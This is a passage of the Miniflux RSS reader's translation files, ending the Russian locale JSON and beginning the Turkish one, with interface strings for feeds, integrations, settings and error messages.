"page.sessions.table.current_session": "Текущая сессия",
"page.api_keys.title": "API-ключи",
"page.api_keys.table.description": "Описание",
"page.api_keys.table.token": "Токен",
"page.api_keys.table.last_used_at": "Последнее использование",
"page.api_keys.table.created_at": "Дата создания",
"page.api_keys.table.actions": "Действия",
"page.api_keys.never_used": "Никогда не использовался",
"page.new_api_key.title": "Новый API-ключ",
"page.offline.title": "Автономный режим",
"page.offline.message": "Нет соединения",
"page.offline.refresh_page": "Попробуйте обновить страницу",
"page.webauthn_rename.title": "Rename Passkey",
"alert.no_shared_entry": "Общедоступные статьи отсутствуют.",
"alert.no_bookmark": "Избранное отсутствует.",
"alert.no_category": "Категории отсутствуют.",
"alert.no_category_entry": "В этой категории нет статей.",
"alert.no_tag_entry": "Нет записей, соответствующих этому тегу.",
"alert.no_feed_entry": "В этой подписке отсутствуют статьи.",
"alert.no_feed": "У вас нет ни одной подписки.",
"alert.no_feed_in_category": "Для этой категории нет подписки.",
"alert.no_history": "Истории пока что нет.",
"alert.feed_error": "С этой подпиской есть проблема",
"alert.no_search_result": "Нет результатов для данного поискового запроса.",
"alert.no_unread_entry": "Нет непрочитанных статей.",
"alert.no_user": "Вы единственный пользователь.",
"alert.account_unlinked": "Ваш внешний аккаунт теперь отвязан!",
"alert.account_linked": "Ваш внешний аккаунт теперь привязан!",
"alert.pocket_linked": "Ваш Pocket аккаунт теперь привязан!",
"alert.prefs_saved": "Предпочтения сохранены!",
"error.unlink_account_without_password": "Вы должны установить пароль, иначе вы не сможете войти снова.",
"error.duplicate_linked_account": "Уже есть кто-то, кто ассоциирован с этим аккаунтом!",
"error.duplicate_fever_username": "Уже есть кто-то с таким же именем пользователя Fever!",
"error.duplicate_googlereader_username": "Уже есть кто-то с таким же именем пользователя Google Reader!",
"error.pocket_request_token": "Не удалось получить request token от Pocket!",
"error.pocket_access_token": "Не удалось получить ключ доступа от Pocket!",
"error.category_already_exists": "Эта категория уже существует.",
"error.unable_to_create_category": "Не удалось создать эту категорию.",
"error.unable_to_update_category": "Не удалось обновить эту категорию.",
"error.user_already_exists": "Этот пользователь уже существует.",
"error.unable_to_create_user": "Не удалось создать этого пользователя.",
"error.unable_to_update_user": "Не удалось обновить этого пользователя.",
"error.unable_to_update_feed": "Не удалось обновить эту подписку.",
"error.subscription_not_found": "Не удалось найти подписки.",
"error.empty_file": "Этот файл пуст.",
"error.bad_credentials": "Неверное имя пользователя или пароль.",
"error.fields_mandatory": "Все поля обязательны.",
"error.title_required": "Название обязательно.",
"error.different_passwords": "Пароли не совпадают.",
"error.password_min_length": "Вы должны использовать минимум 6 символов.",
"error.settings_mandatory_fields": "Имя пользователя, тема, язык и часовой пояс обязательны.",
"error.settings_reading_speed_is_positive": "Скорость чтения должна быть целым положительным числом.",
"error.settings_block_rule_fieldname_invalid": "Invalid Block rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_block_rule_separator_required": "Invalid Block rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_block_rule_regex_required": "Invalid Block rule: rule #%d's pattern is not provided",
"error.settings_block_rule_invalid_regex": "Invalid Block rule: rule #%d's pattern is not a valid regex",
"error.settings_keep_rule_fieldname_invalid": "Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_keep_rule_separator_required": "Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_keep_rule_regex_required": "Invalid Keep rule: rule #%d pattern is not provided",
"error.settings_keep_rule_invalid_regex": "Invalid Keep rule: rule #%d's pattern is not a valid regex",
"error.entries_per_page_invalid": "Недопустимое значение количества записей на странице.",
"error.feed_mandatory_fields": "Ссылка и категория обязательны.",
"error.feed_already_exists": "Эта подписка уже существует.",
"error.invalid_feed_url": "Недействительная ссылка подписки.",
"error.invalid_site_url": "Недействительный ссылка сайта.",
"error.feed_url_not_empty": "URL-адрес подписки не может быть пустым.",
"error.site_url_not_empty": "Ссылка на сайт не может быть пустой.",
"error.feed_title_not_empty": "Заголовок подписки не может быть пустым.",
"error.feed_category_not_found": "Эта категория не существует или не принадлежит этому пользователю.",
"error.feed_invalid_blocklist_rule": "Правило черного списка некорректно.",
"error.feed_invalid_keeplist_rule": "Правило белого списка некорректно.",
"error.user_mandatory_fields": "Имя пользователя обязательно.",
"error.api_key_already_exists": "Этот API-ключ уже существует.",
"error.unable_to_create_api_key": "Невозможно создать этот API-ключ.",
"error.invalid_theme": "Недопустимая тема.",
"error.invalid_language": "Недопустимый язык.",
"error.invalid_timezone": "Недопустымый часовой пояс.",
"error.invalid_entry_direction": "Недопустимая сортировка записей.",
"error.invalid_display_mode": "Недопустимый режим отображения веб-приложения.",
"error.invalid_gesture_nav": "Недопустимая навигация жестами.",
"error.invalid_default_home_page": "Недопустимая домашняя страница по умолчанию!",
"form.feed.label.title": "Название",
"form.feed.label.site_url": "Адрес сайта",
"form.feed.label.feed_url": "Адрес подписки",
"form.feed.label.description": "Описание",
"form.feed.label.category": "Категория",
"form.feed.label.crawler": "Извлечь оригинальное содержимое",
"form.feed.label.feed_username": "Имя пользователя подписки",
"form.feed.label.feed_password": "Пароль подписки",
"form.feed.label.user_agent": "Переопределить User-Agent по умолчанию",
"form.feed.label.cookie": "Установить куки",
"form.feed.label.scraper_rules": "Правила сборщика",
"form.feed.label.rewrite_rules": "Правила перезаписи",
"form.feed.label.blocklist_rules": "Правила черного списка",
"form.feed.label.keeplist_rules": "Правила белого списка",
"form.feed.label.urlrewrite_rules": "Правила перезаписи URL",
"form.feed.label.apprise_service_urls": "Список ссылок сервисов Apprise, разделенный запятой",
"form.feed.label.ignore_http_cache": "Игнорировать HTTP кеш",
"form.feed.label.allow_self_signed_certificates": "Разрешить самоподписанные или недействительные сертификаты",
"form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting",
"form.feed.label.fetch_via_proxy": "Использовать прокси",
"form.feed.label.disabled": "Не обновлять эту подписку",
"form.feed.label.no_media_player": "Отключить медиаплеер (аудио и видео)",
"form.feed.label.hide_globally": "Скрыть записи в глобальном списке непрочитанных",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.feed.fieldset.general": "General",
"form.feed.fieldset.rules": "Rules",
"form.feed.fieldset.network_settings": "Network Settings",
"form.feed.fieldset.integration": "Third-Party Services",
"form.category.label.title": "Название",
"form.category.hide_globally": "Скрыть записи в глобальном списке непрочитанных",
"form.user.label.username": "Имя пользователя",
"form.user.label.password": "Пароль",
"form.user.label.confirmation": "Подтверждение пароля",
"form.user.label.admin": "Администратор",
"form.prefs.label.language": "Язык",
"form.prefs.label.timezone": "Часовой пояс",
"form.prefs.label.theme": "Тема",
"form.prefs.label.entry_sorting": "Сортировка статей",
"form.prefs.label.entries_per_page": "Количество статей на страницу",
"form.prefs.label.default_reading_speed": "Скорость чтения на других языках (слов в минуту)",
"form.prefs.label.cjk_reading_speed": "Скорость чтения на китайском, корейском и японском языках (знаков в минуту)",
"form.prefs.label.display_mode": "Режим отображения Progressive Web App (PWA)",
"form.prefs.select.older_first": "Сначала старые записи",
"form.prefs.select.recent_first": "Сначала новые записи",
"form.prefs.select.fullscreen": "Полноэкранный",
"form.prefs.select.standalone": "Автономный",
"form.prefs.select.minimal_ui": "Минимальный",
"form.prefs.select.browser": "Браузер",
"form.prefs.select.publish_time": "Время публикации статьи",
"form.prefs.select.created_time": "Время создания статьи",
"form.prefs.select.alphabetical": "В алфавитном порядке",
"form.prefs.select.unread_count": "Количество непрочитанных",
"form.prefs.select.none": "Отключить",
"form.prefs.select.tap": "Двойное нажатие",
"form.prefs.select.swipe": "Свайп",
"form.prefs.label.keyboard_shortcuts": "Включить горячие клавиши",
"form.prefs.label.entry_swipe": "Включить пролистывание свайпом на сенсорных экранах",
"form.prefs.label.gesture_nav": "Жест для перехода между статьями",
"form.prefs.label.show_reading_time": "Показать примерное время чтения статей",
"form.prefs.label.custom_css": "Пользовательский CSS",
"form.prefs.label.custom_js": "Пользовательский JavaScript",
"form.prefs.label.entry_order": "Столбец сортировки статей",
"form.prefs.label.default_home_page": "Домашняя страница по умолчанию",
"form.prefs.label.categories_sorting_order": "Сортировка категорий",
"form.prefs.label.mark_read_on_view": "Автоматически отмечать записи как прочитанные при просмотре",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.fieldset.application_settings": "Application Settings",
"form.prefs.fieldset.authentication_settings": "Authentication Settings",
"form.prefs.fieldset.reader_settings": "Reader Settings",
"form.prefs.fieldset.global_feed_settings": "Global Feed Settings",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "OPML файл",
"form.import.label.url": "Ссылка",
"form.integration.betula_activate": "Сохранять статьи в Бетулу",
"form.integration.betula_url": "Адрес сервера Бетулы",
"form.integration.betula_token": "Токен Бетулы",
"form.integration.fever_activate": "Активировать Fever API",
"form.integration.fever_username": "Имя пользователя Fever",
"form.integration.fever_password": "Пароль Fever",
"form.integration.fever_endpoint": "Конечная точка Fever API:",
"form.integration.googlereader_activate": "Активировать Google Reader API",
"form.integration.googlereader_username": "Имя пользователя Google Reader",
"form.integration.googlereader_password": "Пароль Google Reader",
"form.integration.googlereader_endpoint": "Конечная точка Google Reader API:",
"form.integration.pinboard_activate": "Сохранять статьи в Pinboard",
"form.integration.pinboard_token": "Токен Pinboard API",
"form.integration.pinboard_tags": "Теги Pinboard",
"form.integration.pinboard_bookmark": "Помечать закладки как непрочитанное",
"form.integration.instapaper_activate": "Сохранять статьи в Instapaper",
"form.integration.instapaper_username": "Имя пользователя Instapaper",
"form.integration.instapaper_password": "Пароль Instapaper",
"form.integration.pocket_activate": "Сохранять статьи в Pocket",
"form.integration.pocket_consumer_key": "Ключ пользователя Pocket",
"form.integration.pocket_access_token": "Ключ доступа к Pocket",
"form.integration.pocket_connect_link": "Подключить аккаунт Pocket",
"form.integration.wallabag_only_url": "Отправлять только ссылку (без содержимого)",
"form.integration.wallabag_activate": "Сохранять статьи в Wallabag",
"form.integration.wallabag_endpoint": "URL-адрес базы Валлабаг",
"form.integration.wallabag_client_id": "Номер клиента Wallabag",
"form.integration.wallabag_client_secret": "Секретный код клиента Wallabag",
"form.integration.wallabag_username": "Имя пользователя Wallabag",
"form.integration.wallabag_password": "Пароль Wallabag",
"form.integration.notion_activate": "Сохранить статьи в Notion",
"form.integration.notion_page_id": "Идентификатор страницы Notion",
"form.integration.notion_token": "Секретный токен Notion",
"form.integration.apprise_activate": "Отправить статьи в Apprise",
"form.integration.apprise_url": "Ссылка на Apprise API",
"form.integration.apprise_services_url": "Список ссылок сервисов Apprise, разделенный запятой",
"form.integration.nunux_keeper_activate": "Сохранять статьи в Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Конечная точка Nunux Keeper API",
"form.integration.nunux_keeper_api_key": "API-ключ Nunux Keeper",
"form.integration.omnivore_activate": "Сохранять статьи в Omnivore",
"form.integration.omnivore_url": "Конечная точка Omnivore API",
"form.integration.omnivore_api_key": "API-ключ Omnivore",
"form.integration.espial_activate": "Сохранять статьи в Espial",
"form.integration.espial_endpoint": "Конечная точка Espial API",
"form.integration.espial_api_key": "API-ключ Espial",
"form.integration.espial_tags": "Теги Espial",
"form.integration.readwise_activate": "Сохранить статьи в Readwise",
"form.integration.readwise_api_key": "Токен доступа в Readwise",
"form.integration.readwise_api_key_link": "Получить токен доступа Readwise",
"form.integration.telegram_bot_activate": "Репостить новые статьи в Telegram-чат",
"form.integration.telegram_bot_token": "Токен бота",
"form.integration.telegram_chat_id": "ID чата",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Disable web page preview",
"form.integration.telegram_bot_disable_notification": "Disable notification",
"form.integration.telegram_bot_disable_buttons": "Disable buttons",
"form.integration.linkace_activate": "Save entries to LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "LinkAce API key",
"form.integration.linkace_tags": "LinkAce Tags",
"form.integration.linkace_is_private": "Mark link as private",
"form.integration.linkace_check_disabled": "Disable link check",
"form.integration.linkding_activate": "Сохранять статьи в Linkding",
"form.integration.linkding_endpoint": "Конечная точка Linkding API",
"form.integration.linkding_api_key": "API-ключ Linkding",
"form.integration.linkding_tags": "Теги Linkding",
"form.integration.linkding_bookmark": "Помечать закладки как непрочитанное",
"form.integration.linkwarden_activate": "Сохранять статьи в Linkwarden",
"form.integration.linkwarden_endpoint": "Конечная точка Linkwarden API",
"form.integration.linkwarden_api_key": "API-ключ Linkwarden",
"form.integration.matrix_bot_activate": "Репостить новые статьи в Matrix",
"form.integration.matrix_bot_user": "Имя пользователя Matrix",
"form.integration.matrix_bot_password": "Пароль пользователя Matrix",
"form.integration.matrix_bot_url": "Ссылка на сервер Matrix",
"form.integration.matrix_bot_chat_id": "ID комнаты Matrix",
"form.integration.raindrop_activate": "Save entries to Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "Сохранять статьи в Readeck",
"form.integration.readeck_endpoint": "Конечная точка Readeck API",
"form.integration.readeck_api_key": "API-ключ Readeck",
"form.integration.readeck_labels": "Теги Readeck",
"form.integration.readeck_only_url": "Отправлять только ссылку (без содержимого)",
"form.integration.shiori_activate": "Сохранять статьи в Shiori",
"form.integration.shiori_endpoint": "Конечная точка Shiori API",
"form.integration.shiori_username": "Имя пользователя Shiori",
"form.integration.shiori_password": "Пароль Shiori",
"form.integration.shaarli_activate": "Сохранить статьи в Shaarli",
"form.integration.shaarli_endpoint": "Ссылка Shaarli",
"form.integration.shaarli_api_secret": "Секретный ключ Shaarli API",
"form.integration.webhook_activate": "Включить вебхуки",
"form.integration.webhook_url": "Адрес вебхуков",
"form.integration.webhook_secret": "Секретный ключ для вебхуков",
"form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "Отправить статьи в Discord",
"form.integration.discord_webhook_link": "Ссылка на Discord Webhook",
"form.api_key.label.description": "Описание API-ключа",
"form.submit.loading": "Загрузка…",
"form.submit.saving": "Сохранение…",
"time_elapsed.not_yet": "ещё нет",
"time_elapsed.yesterday": "вчера",
"time_elapsed.now": "только что",
"time_elapsed.minutes": [
"%d минуту назад",
"%d минуты назад",
"%d минут назад"
],
"time_elapsed.hours": [
"%d час назад",
"%d часа назад",
"%d часов назад"
],
"time_elapsed.days": [
"%d день назад",
"%d дня назад",
"%d дней назад"
],
"time_elapsed.weeks": [
"%d неделю назад",
"%d недели назад",
"%d недель назад"
],
"time_elapsed.months": [
"%d месяц назад",
"%d месяца назад",
"%d месяцев назад"
],
"time_elapsed.years": [
"%d год назад",
"%d года назад",
"%d лет назад"
],
"alert.too_many_feeds_refresh": [
"You have triggered too many feed refreshes. Please wait %d minute before trying again.",
"You have triggered too many feed refreshes. Please wait %d minutes before trying again.",
"You have triggered too many feed refreshes. Please wait %d minutes before trying again."
],
"alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.",
"error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).",
"error.http_body_read": "Unable to read the HTTP body: %v.",
"error.http_empty_response_body": "The HTTP response body is empty.",
"error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?",
"error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.",
"error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.",
"error.network_timeout": "This website is too slow and the request timed out: %v",
"error.http_client_error": "HTTP client error: %v.",
"error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.",
"error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.",
"error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?",
"error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.",
"error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.",
"error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.",
"error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.",
"error.database_error": "Database error: %v.",
"error.category_not_found": "This category does not exist or does not belong to this user.",
"error.duplicated_feed": "This feed already exists.",
"error.unable_to_parse_feed": "Unable to parse this feed: %v.",
"error.feed_not_found": "This feed does not exist or does not belong to this user.",
"error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.",
"error.feed_format_not_detected": "Unable to detect feed format: %v.",
"form.prefs.label.media_playback_rate": "Скорость воспроизведения аудио/видео",
"error.settings_media_playback_rate_range": "Скорость воспроизведения выходит за пределы диапазона",
"enclosure_media_controls.seek" : "Seek:",
"enclosure_media_controls.seek.title" : "Seek %s seconds",
"enclosure_media_controls.speed" : "Speed:",
"enclosure_media_controls.speed.faster" : "Faster",
"enclosure_media_controls.speed.faster.title" : "Faster by %sx",
"enclosure_media_controls.speed.slower" : "Slower",
"enclosure_media_controls.speed.slower.title" : "Slower by %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset speed to 1x"
}
v2-2.2.5/internal/locale/translations/tr_TR.json 0000664 0000000 0000000 00000103325 14743520056 0021602 0 ustar 00root root 0000000 0000000 {
"action.cancel": "iptal",
"action.download": "İndir",
"action.edit": "Düzenle",
"action.home_screen": "Ana ekrana ekle",
"action.import": "İçeri Aktar",
"action.login": "Giriş",
"action.or": "veya",
"action.remove": "Kaldır",
"action.remove_feed": "Bu beslemeyi kaldır",
"action.save": "Kaydet",
"action.subscribe": "Abone Ol",
"action.update": "Güncelle",
"alert.account_linked": "Harici hesabınız bağlandı!",
"alert.account_unlinked": "Harici hesabınızın bağlantısı kaldırıldı!",
"alert.background_feed_refresh": "Tüm beslemeler arkaplanda yenileniyor. Bu süreç devam ederken Miniflux'ı kullanmaya devam edebilirsiniz.",
"alert.feed_error": "Bu beslemeyle ilgili bir problem var",
"alert.no_bookmark": "Yıldızlanmış makale yok.",
"alert.no_category": "Hiç kategori yok.",
"alert.no_category_entry": "Bu kategoride hiç makele yok.",
"alert.no_tag_entry": "Bu etiketle eşleşen hiçbir giriş yok.",
"alert.no_feed": "Hiç beslemeniz yok.",
"alert.no_feed_entry": "Bu besleme için makele yok.",
"alert.no_feed_in_category": "Bu kategori için besleme yok.",
"alert.no_history": "Şu anda hiç geçmiş yok.",
"alert.no_search_result": "Bu arama için sonuç yok",
"alert.no_shared_entry": "Paylaşılan bir makele yok.",
"alert.no_unread_entry": "Okunmamış makele yok",
"alert.no_user": "Tek kullanıcı sizsiniz",
"alert.pocket_linked": "Pocket hesabınız artık bağlandı.",
"alert.prefs_saved": "Tercihler kaydedildi!",
"alert.too_many_feeds_refresh": [
"Çok fazla besleme yenilemesi başlattınız. Tekrar denemeden önce lütfen %d dakika bekleyin.",
"Çok fazla besleme yenilemesi başlattınız. Tekrar denemeden önce lütfen %d dakika bekleyin."
],
"confirm.loading": "Devam ediyor...",
"confirm.no": "hayır",
"confirm.question": "Emin misiniz?",
"confirm.question.refresh": "Zorla yenilemek istiyor musunuz?",
"confirm.yes": "evet",
"entry.bookmark.toast.off": "Yıldızsız",
"entry.bookmark.toast.on": "Yıldızlı",
"entry.bookmark.toggle.off": "Yıldızı kaldır",
"entry.bookmark.toggle.on": "Yıldız ekle",
"entry.comments.label": "Yorumlar",
"entry.comments.title": "Yorumları Göster",
"entry.estimated_reading_time": [
"%d dakika okuma süresi",
"%d dakika okuma süresi"
],
"entry.external_link.label": "Dış bağlantı",
"entry.save.completed": "Tamamlandı!",
"entry.save.label": "Kaydet",
"entry.save.title": "Bu makeleyi kaydet",
"entry.save.toast.completed": "Makele kaydedildi",
"entry.scraper.completed": "Tamamlandı!",
"entry.scraper.label": "İndir",
"entry.scraper.title": "Orijinal içeriği çek",
"entry.share.label": "Paylaş",
"entry.share.title": "Bu makeleyi paylaş",
"entry.shared_entry.label": "Paylaş",
"entry.shared_entry.title": "Herkese açık bağlantıyı aç",
"entry.state.loading": "Yükleniyor...",
"entry.state.saving": "Kaydediliyor...",
"entry.status.read": "Okundu",
"entry.status.title": "Makele okundu durumunu değiştir",
"entry.status.toast.read": "Okundu olarak işaretle",
"entry.status.toast.unread": "Okunmadı olarak işaretle",
"entry.status.unread": "Okunmadı",
"entry.tags.label": "Etiketler:",
"entry.unshare.label": "Paylaşma",
"error.api_key_already_exists": "Bu API anahtarı zaten mevcut.",
"error.bad_credentials": "Geçersiz kullanıcı veya parola.",
"error.category_already_exists": "Bu kategori zaten mevcut.",
"error.category_not_found": "Bu kategori mevcut değil ya da bu kullanıcıya ait değil.",
"error.database_error": "Veritabanı hatası: %v.",
"error.different_passwords": "Parolalar eşleşmiyor.",
"error.duplicate_fever_username": "Aynı Fever kullanıcı adına sahip başka biri zaten var!",
"error.duplicate_googlereader_username": "Aynı Google Reader kullanıcı adına sahip başka biri zaten var!",
"error.duplicate_linked_account": "Bu sağlayıcıyla ilişkilendirilmiş biri zaten var!",
"error.duplicated_feed": "Bu makele zaten var.",
"error.empty_file": "Bu dosya boş.",
"error.entries_per_page_invalid": "Sayfa başına makele sayısı geçersiz.",
"error.feed_already_exists": "Bu besleme zaten mevcut.",
"error.feed_category_not_found": "Bu kategori mevcut değil ya da bu kullanıcıya ait değil.",
"error.feed_format_not_detected": "Besleme formatı algılanamadı: %v.",
"error.feed_invalid_blocklist_rule": "Engelleme listesi kuralı geçersiz.",
"error.feed_invalid_keeplist_rule": "Saklama listesi kuralı geçersiz.",
"error.feed_mandatory_fields": "URL ve kategori zorunlu.",
"error.feed_not_found": "Bu makele mevcut değil ya da bu kullanıcıya ait değil.",
"error.feed_title_not_empty": "Besleme başlığı boş olamaz.",
"error.feed_url_not_empty": "Besleme URL'si boş olamaz.",
"error.fields_mandatory": "Tüm alanlar zorunlu.",
"error.http_bad_gateway": "Kötü ağ geçidi hatası nedeniyle bu website şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.",
"error.http_body_read": "HTTP gövdesi okunamıyor: %v.",
"error.http_client_error": "HTTP istemci hatası: %v.",
"error.http_empty_response": "HTTP yanıtı boş. Belki bu web sitesi bir bot koruma mekanizması kullanıyordur?",
"error.http_empty_response_body": "HTTP yanıt gövdesi boş.",
"error.http_forbidden": "Bu siteye erişim yasak. Belki bu web sitesinin bir bot koruma mekanizması vardır?",
"error.http_gateway_timeout": "Ağ geçidi zaman aşımı hatası nedeniyle bu websitesi şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.",
"error.http_internal_server_error": "Sunucu hatası nedeniyle bu websitesi şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.",
"error.http_not_authorized": "Bu web sitesine erişim izni verilmemektedir. Kötü bir kullanıcı adı veya şifreden kaynaklanıyor olabilir.",
"error.http_resource_not_found": "İstenilen kaynak bulunamadı. Lütfen URL'yi doğrulayın.",
"error.http_response_too_large": "HTTP yanıtı çok büyük. Genel ayarlardan HTTP yanıt boyutu sınırını artırabilirsiniz (sunucunun yeniden başlatılmasını gerektirir).",
"error.http_service_unavailable": "Dahili sunucu hatası nedeniyle web sitesi şu anda kullanılamıyor. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.",
"error.http_too_many_requests": "Miniflux bu web sitesine çok fazla istek oluşturdu. Lütfen daha sonra tekrar deneyin veya uygulama yapılandırmasını değiştirin.",
"error.http_unexpected_status_code": "Beklenmeyen bir HTTP durum kodu nedeniyle bu websitesi şu anda kullanılamıyor: %d. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.",
"error.invalid_default_home_page": "Geçersiz varsayılan ana sayfa!",
"error.invalid_display_mode": "Geçersiz web uygulaması görüntüleme modu.",
"error.invalid_entry_direction": "Geçersiz makele sıralaması.",
"error.invalid_feed_url": "Geçersiz besleme URL'si.",
"error.invalid_gesture_nav": "Hareketle gezinme geçersiz.",
"error.invalid_language": "Geçersiz dil.",
"error.invalid_site_url": "Geçersiz site URL'si.",
"error.invalid_theme": "Geçersiz tema.",
"error.invalid_timezone": "Geçersiz saat dilimi.",
"error.network_operation": "Miniflux bir ağ hatası nedeniyle bu websitesine erişemiyor: %v.",
"error.network_timeout": "Bu websitesi çok yavaş ve istek zaman aşımına uğradı: %v",
"error.password_min_length": "Parola en az 6 karakter içermeli.",
"error.pocket_access_token": "Pocket'tan access tokeni alınamıyor!",
"error.pocket_request_token": "Pocket'tan request tokeni alınamıyor!",
"error.settings_mandatory_fields": "Kullanıcı ad, tema, dil ve saat dilimi zorunlu.",
"error.settings_media_playback_rate_range": "Oynatma hızı aralık dışında",
"error.settings_reading_speed_is_positive": "Okuma hızları pozitif tam sayılar olmalıdır.",
"error.settings_block_rule_fieldname_invalid": "Geçersiz Engelleme kuralı: #%d kuralında geçerli bir alan adı eksik (Seçenekler: %s)",
"error.settings_block_rule_separator_required": "Geçersiz Engelleme kuralı: #%d kuralı modelinin '=' ile ayrılması gerekiyor",
"error.settings_block_rule_regex_required": "Geçersiz Engelleme kuralı: #%d kuralı modeli sağlanmadı",
"error.settings_block_rule_invalid_regex": "Geçersiz Engelleme kuralı: #%d kuralı modeli geçerli bir düzenli ifade değil",
"error.settings_keep_rule_fieldname_invalid": "Geçersiz Koruma kuralı: #%d kuralında geçerli bir alan adı eksik (Seçenekler: %s)",
"error.settings_keep_rule_separator_required": "Geçersiz Koruma kuralı: #%d kuralı modelinin '=' ile ayrılması gerekiyor",
"error.settings_keep_rule_regex_required": "Geçersiz Koruma kuralı: #%d kuralı modeli sağlanmadı",
"error.settings_keep_rule_invalid_regex": "Geçersiz Koruma kuralı: #%d kuralı modeli geçerli bir düzenli ifade değil",
"error.site_url_not_empty": "Site URL'si boş olamaz.",
"error.subscription_not_found": "Herhangi bir abonelik bulunamadı.",
"error.title_required": "Başlık zorunlu.",
"error.tls_error": "TLS hatası: %q. İsterseniz feed ayarlarından TLS doğrulamasını devre dışı bırakabilirsiniz.",
"error.unable_to_create_api_key": "Bu API anahtarı oluşturulamıyor.",
"error.unable_to_create_category": "Bu kategori oluşturulamıyor.",
"error.unable_to_create_user": "Bu kullanıcı oluşturulamıyor.",
"error.unable_to_detect_rssbridge": "RSS-Bridge kullanılarak besleme algılanamıyor: %v.",
"error.unable_to_parse_feed": "Bu besleme ayrıştırılamıyor: %v.",
"error.unable_to_update_category": "Bu kategori güncellenemiyor.",
"error.unable_to_update_feed": "Bu besleme güncellenemiyor.",
"error.unable_to_update_user": "Bu kullanıcı güncellenemiyor.",
"error.unlink_account_without_password": "Bir şifre belirlemelisiniz, aksi takdirde tekrar oturum açamazsınız.",
"error.user_already_exists": "Bu kullanıcı zaten mevcut.",
"error.user_mandatory_fields": "Kullanıcı adı zorunlu.",
"form.api_key.label.description": "API Anahtar Etiketi",
"form.category.hide_globally": "Genel okunmamış listesindeki girişleri gizle",
"form.category.label.title": "Başlık",
"form.feed.fieldset.general": "Genel",
"form.feed.fieldset.integration": "Üçüncü Taraf Hizmetleri",
"form.feed.fieldset.network_settings": "Ağ Ayarları",
"form.feed.fieldset.rules": "Kurallar",
"form.feed.label.allow_self_signed_certificates": "Kendinden imzalı veya geçersiz sertifikalara izin ver",
"form.feed.label.apprise_service_urls": "Apprise hizmet URL'lerinin virgülle ayrılmış listesi",
"form.feed.label.blocklist_rules": "Engelleme Kuralları",
"form.feed.label.category": "Kategori",
"form.feed.label.cookie": "Çerezleri Ayarla",
"form.feed.label.crawler": "Orijinal içeriği çek",
"form.feed.label.disable_http2": "Parmak izini önlemek için HTTP/2'yi devre dışı bırakın",
"form.feed.label.disabled": "Bu beslemeyi yenileme",
"form.feed.label.feed_password": "Besleme Parolası",
"form.feed.label.feed_url": "Besleme URL'si",
"form.feed.label.description": "Açıklama",
"form.feed.label.feed_username": "Besleme Kullanıcı Adı",
"form.feed.label.fetch_via_proxy": "Proxy ile çek",
"form.feed.label.hide_globally": "Genel okunmamış listesindeki girişleri gizle",
